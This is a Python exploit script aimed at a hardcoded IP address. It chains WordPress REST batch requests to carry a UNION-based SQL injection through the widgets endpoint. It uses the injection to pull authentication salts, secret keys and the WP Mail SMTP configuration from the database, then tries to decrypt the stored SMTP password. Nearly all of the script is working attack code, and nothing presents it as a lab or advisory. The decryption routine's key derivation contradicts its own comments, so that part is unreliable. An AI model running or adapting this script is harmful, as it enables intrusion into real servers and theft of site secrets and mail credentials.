#!/usr/bin/env python3
import html as html_mod
import json
import re
import secrets
import ssl
import urllib.request
import urllib.parse
import base64
import hashlib
from Crypto.Cipher import AES

target = "http://34.206.62.229"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
opener.addheaders = [('User-Agent', 'Mozilla/5.0'), ('Accept', 'application/json')]

def union_read(sql_expr):
    tok = secrets.token_hex(5)
    mark = "0x" + tok.encode().hex()
    
    def hex_str(s):
        return "0x" + s.encode().hex() if s else "''"
    
    row = ",".join([
        "1", "1", hex_str("2020-01-01 00:00:00"), hex_str("2020-01-01 00:00:00"),
        f"CONCAT({mark},IFNULL(({sql_expr}),0x2d),{mark})", "0x78", "''", 
        hex_str("publish"), hex_str("closed"), hex_str("closed"), "''",
        hex_str("x"), "''", "''", hex_str("2020-01-01 00:00:00"), 
        hex_str("2020-01-01 00:00:00"), "''", "0", "''", "0", hex_str("post"), "''", "0"
    ])
    
    sqli = f"1111111100000000) AND 1=0 UNION ALL SELECT {row}-- -"
    
    inner = [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode({
            "author_exclude": sqli, "per_page": 500, "page": 1,
            "orderby": "none", "context": "view"
        })},
        {"method": "GET", "path": "/wp/v2/posts"},
    ]
    
    envelope = {"requests": [
        {"method": "POST", "path": "http://:"},
        {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
        {"method": "POST", "path": "/batch/v1"},
    ]}
    
    body = json.dumps(envelope).encode()
    req = urllib.request.Request(f"{target}/?rest_route=/batch/v1", data=body, 
                                  headers={'Content-Type': 'application/json'}, method='POST')
    try:
        with opener.open(req, timeout=30) as resp:
            raw = resp.read()
    except Exception as e:
        raw = e.read() if hasattr(e, 'read') else b""
    
    pat = re.compile(re.escape(tok) + r"(.*?)" + re.escape(tok), re.S)
    try:
        data = json.loads(raw)
        def walk(obj):
            if isinstance(obj, dict):
                for v in obj.values(): yield from walk(v)
            elif isinstance(obj, list):
                for v in obj: yield from walk(v)
            elif isinstance(obj, str): yield obj
        haystacks = list(walk(data))
    except:
        haystacks = [raw.decode("utf-8", "replace")]
    
    for s in haystacks:
        m = pat.search(s)
        if m:
            inner = re.sub(r"<[^>]+>", "", m.group(1))
            return html_mod.unescape(inner).strip()
    return None

# Get all WordPress salts
print("[*] Extracting WordPress salts from wp_options...")
salts = {}
for key in ['auth_key', 'secure_auth_key', 'logged_in_key', 'nonce_key', 
            'auth_salt', 'secure_auth_salt', 'logged_in_salt', 'nonce_salt',
            'secret_key', 'wp_mail_smtp_encryption_key']:
    result = union_read(f"SELECT option_value FROM wp_options WHERE option_name='{key}'")
    if result and result != '-':
        salts[key] = result
        print(f"[+] {key}: {result[:50]}...")

# Get raw wp_mail_smtp data
print("\n[*] Getting raw wp_mail_smtp config...")
raw_smtp = union_read("SELECT option_value FROM wp_options WHERE option_name='wp_mail_smtp'")
print(f"Length: {len(raw_smtp) if raw_smtp else 0}")

# Extract encrypted password
if raw_smtp:
    # Find smtp pass
    match = re.search(r'"pass";s:(\d+):"([^"]*)"', raw_smtp.replace('\\"', '"'))
    if match:
        enc_pass = match.group(2)
        print(f"\n[*] Encrypted password: {enc_pass}")
        
        # WP Mail SMTP uses wp_salt('wp_mail_smtp') as key
        # Try to decrypt using secret_key
        if 'secret_key' in salts:
            key = salts['secret_key']
            print(f"\n[*] Trying decrypt with secret_key...")
            
            try:
                # WP Mail SMTP encryption format: base64(nonce + ciphertext)
                encrypted = base64.b64decode(enc_pass)
                
                # AES-256-CTR, first 16 bytes = nonce/IV
                if len(encrypted) > 16:
                    nonce = encrypted[:16]
                    ciphertext = encrypted[16:]
                    
                    # Key derivation - WP uses wp_hash which is HMAC-MD5 with salt
                    derived_key = hashlib.pbkdf2_hmac('sha256', key.encode(), b'wp_mail_smtp', 1000, 32)
                    
                    cipher = AES.new(derived_key, AES.MODE_CTR, nonce=nonce[:8])
                    plaintext = cipher.decrypt(ciphertext)
                    print(f"[+] Decrypted (attempt 1): {plaintext}")
            except Exception as e:
                print(f"[-] Decrypt error: {e}")

# Also check for wpms_crypto_key transient
print("\n[*] Checking transients for crypto key...")
result = union_read("SELECT option_value FROM wp_options WHERE option_name LIKE '%crypto%' OR option_name LIKE '%wpms%key%'")
if result and result != '-':
    print(f"[+] Found: {result[:100]}")

